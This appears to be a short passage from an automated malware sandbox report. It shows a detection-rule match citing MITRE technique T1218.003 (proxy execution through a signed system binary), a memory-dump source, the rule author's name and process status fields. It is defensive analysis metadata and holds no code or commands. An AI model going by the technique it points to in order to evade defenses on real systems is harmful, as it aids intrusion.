interfaces. MITRE (T1218.003), Source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	false